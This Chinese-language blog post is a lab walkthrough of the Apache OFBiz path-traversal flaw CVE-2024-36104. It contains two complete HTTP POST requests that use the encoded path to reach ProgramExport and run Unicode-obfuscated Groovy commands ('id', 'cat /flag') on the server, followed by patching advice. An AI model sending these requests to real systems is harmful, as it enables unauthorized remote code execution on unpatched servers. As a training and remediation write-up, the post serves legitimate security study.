Apache OFBiz 路径遍历漏洞（CVE-2024-36104）

原创 清欢予 秋风有意染黄花 2025-05-07 06:28

微信公众号：【秋风有意染黄花】

分享安全学习的心得和笔记。问题与建议，请公众号留言或私信。

---

前言
Apache OFBiz 是一款开源的企业资源计划（ERP）系统。Apache OFBiz 对 URL 中特殊编码字符限制不当，导致存在路径遍历漏洞。攻击者可以利用该漏洞构造恶意请求，实现远程代码执行，最终导致服务器失陷。CVE-2024-36104 是一个高危漏洞，主要影响 Apache OFBiz 18.12.14 之前的版本。 实验环境 环境下载：https://downloads.apache.org/ofbiz/工具：burpsuite 漏洞复现  1.搭建实验环境。a.可以自行下载Apache OFBiz 18.12.14 到本地，搭建到虚拟机中。b.使用网上的免费靶场，开启CVE-2024-36104靶场环境。
2.访问实验环境，进入登录界面。
如访问：https://localhost:32265/webtools/control/ProgramExport3.使用burpsuite抓取数据包，并修改，加入POC。POST /webtools/control/forgotPassword/%2e/%2e/ProgramExport HTTP/1.1Host: your-ipUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0Content-Type: application/x-www-form-urlencodedgroovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0069\u0064\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003byour-ip：根据实际情况填写。groovyProgram：包含Groovy 代码，并进行Unicode编码，以上编码解码后为 throw new Exception(‘id’.execute().text); 。4.构造POC，获取flag。throw new Exception(‘cat /flag’.execute().text); POST /webtools/control/forgotPassword/%2e/%2e/ProgramExport HTTP/1.1Host: localhost:25071User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0Content-Type: application/x-www-form-urlencodedgroovyProgram=\u0074\u0068\u0072\u006F\u0077\u0020\u006E\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006F\u006E\u0028\u0027\u0063\u0061\u0074\u0020\u002F\u0066\u006C\u0061\u0067\u0027\u002E\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002E\u0074\u0065\u0078\u0074\u0029\u003B注：your-ip需要根据实际情况填写，某些靶场可能要求使用localhost才能访问，即抓包后修改your-ip为localhost。 漏洞修复 1、官方已发布新版本修复该漏洞，受影响用户应尽快更新 Apache OFBiz 服务器至 18.12.14 或更高版本。下载链接为：https://ofbiz.apache.org/download.html。2、修改防火墙策略，关闭非必要的应用端口或服务，减少攻击面。 总结 回顾以上实验过程，主要是因为Apache OFBiz 对 URL 中特殊编码字符限制不当导致存在路径遍历漏洞。CVE-2024-36104漏洞为高危漏洞，如果在实际工作环境中存在此漏洞，建议相关系统尽快进行升级修复。免责声明我们本着技术分享的原则，分享学习心得和工具掌握，请勿将其用于任何非授权的行为，请严格遵守国家信息安全法。任何违反法律、法规的行为，均与本人无关。建议所有的操作在虚拟机中进行，自己搭建实验环境，安全性自检。若是有违规的地方，请联系删除。